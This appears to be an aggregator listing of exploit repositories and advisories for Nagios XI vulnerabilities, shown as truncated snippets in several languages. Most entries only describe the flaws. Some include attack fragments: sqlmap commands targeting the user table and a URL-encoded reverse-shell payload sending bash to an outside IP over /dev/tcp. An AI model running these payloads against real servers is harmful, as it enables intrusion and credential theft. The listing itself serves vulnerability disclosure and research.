nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI को रिपोर्ट की गई बग्स CVE-2021-25296 कोड स्थान /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php कोड स्निपेट root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= "...

CVE-2023-47400

CVE-2023-47400 CVE-2023-47400 के लिए प्रमाण अवधारणा प्रमाणीकृत PHP रिमोट कोड निष्पादन Nagios XI 5.11.0 पर मनमानी फ़ाइल लेखन के माध्यम से !Note यह poc NCC समूह द्वारा प्रकाशित तकनीकी सलाह पर आधारित है https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi...

CVE-2023-40931-PoC

CVE-2023-40931 CVE-2023-40931 का शोषण करने के लिए sqlmap पेलोड पेलोड आवश्यक जानकारी: मान्य उपयोगकर्ता नाम और पासवर्ड होस्ट किए गए इंस्टेंस का डोमेन और पथ sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=3&token=curl -ksX POS...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc CVE-2019-15949 के लिए एक python PoC अवलोकन Nagios XI = 5.6.5 में एक कमजोरी मौजूद है जो हमलावर को RCE का उपयोग करके रूट विशेषाधिकार प्राप्त करने की अनुमति देती है। इस शोषण के लिए सर्वर तक 'nagios' उपयोगकर्ता के रूप में पहुंच, या CCM के माध्यम से वेब इंटरफ़ेस से प्लगइन...

CVE-2019-20197

ثغرة تنفيذ الأوامر عن بُعد في Nagios XI CVE-2019-20197 إثبات المفهوم POC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2023-40933-PoC

CVE-2023-40933 Le payload sqlmap pour exploiter CVE-2023-40933 Payload Informations requises : Nom d'utilisateur et mot de passe valides Domaine et chemin de l'instance hébergée root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2019-20197

CVE-2019-20197 Nagios XI दूरस्थ कमांड निष्पादन भेद्यता = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2023-48084-Revised

CVE-2023-48084 — PoC محدّث المستودع: MettHK/CVE-2023-48084-Revised نسخة محدّثة من Hamibubu/CVE-2023-48084 مع دعم تعدد الخيوط، واستخراج البحث الثنائي، وخيارات سطر أوامر لاختيار قاعدة البيانات / الجدول / العمود. ليس المستودع الأصلي. هذا PoC مشتق/محسّن. يعود الفضل في العمل الأصلي إلى Hamibubu. إخلاء...

CVE-2024-24401

Rapport de vulnérabilité CVE découverte CONÇU POUR ÊTRE EXÉCUTÉ SUR KALI LINUX Remarques Nagios a corrigé la version 2024R1.0.1 dans tous les téléchargements récents. Pour déterminer si une cible est vulnérable, assurez-vous qu'elle utilise un téléchargement plus ancien de 2024R1.0.1. Le script m...

CVE-2024-24401

تقرير الثغرات الأمنية تم اكتشاف CVE بواسطة: Jarod Jaslow MAWK مصمم للتشغيل على Kali Linux ملاحظات قام Nagios بتصحيح الإصدار 2024R1.0.1 في جميع التنزيلات الحديثة. لتحديد ما إذا كان الهدف معرضًا للخطر، تأكد من أنهم يستخدمون تنزيلًا أقدم من 2024R1.0.1. البرنامج النصي المحدّث يتحقق من أن النظام الهدف...

Nagios-XI-s-CVE-2023-40931-Exploit

इस रिपॉजिटरी में README नहीं है।...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Injection de commande authentifiée dans Configuration Wizard Dépôt de preuve de concept simple pour CVE-2025-34227, une injection de commande authentifiée dans Nagios XI - Configuration Wizard Article complet ici:...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

CVE-2024-33775

CVE द्वारा खोजा गया: K. Wahab NeoX भेद्यता विवरण: उत्पाद: Nagios XI Version 2024R1.01 भेद्यता: उपयोगकर्ता "NAGIOS" या "APACHE" से विशेषाधिकार वृद्धि परिणाम: लक्ष्य प्रणाली पर पूर्ण रूट पहुंच CVE: https://vulners.com/cve/CVE-2024-33775 शोषण: इस उदाहरण में RSS Dashlet का उपयोग किया गया है। 1. Nagio...

CVE-2024-24402

تقرير الثغرة تم اكتشاف CVE بواسطة: Jarod Jaslow MAWK تفاصيل الثغرة: النقطة النهائية: Nagios XI الإصدار 2024R1.01 نوع الثغرة: تصعيد الصلاحيات من مستخدم "NAGIOS" نتيجة الاستغلال: وصول كامل لجذر النظام خطوات إعادة الإنتاج: 1. إنشاء نسخة جديدة من Nagios XI الإصدار 2024R1.01: قم بتنزيل ملف OVA الخاص ب...

CVE-2025-61299_POC

CVE-2025-61299POC प्रमाणित कमांड इंजेक्शन में Nagios XI 2024R1 CVE-2025-61299...

CVE-2023-48084

CVE-2023-48084 CVE-2023-48084 के लिए पायथन एक्सप्लॉइट - Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool. एक्सप्लॉइट /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= का उपयोग करके SQL क्वेरी निष्पादित करत...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit अवलोकन Nagios XI = 5.6.5 में एक भेद्यता मौजूद है जो हमलावर को रूट विशेषाधिकार बढ़ाने के लिए RCE का उपयोग करने की अनुमति देती है। इस एक्सप्लॉइट के लिए सर्वर तक 'nagios' उपयोगकर्ता के रूप में पहुँच आवश्यक है, या प्लगइन प्रबंधित करने की अनुमति के साथ वेब इंटरफ़ेस के माध्यम से C...

Linux Distros Unpatched Vulnerability : CVE-2026-48554

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 are vulnerable to authenticated remote code execution via unfiltered NOTIFICATION-family macro...

Linux Distros Unpatched Vulnerability : CVE-2026-48551

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 contain a cross-site request forgery protection bypass via a self-supplied double-submit cookie. An...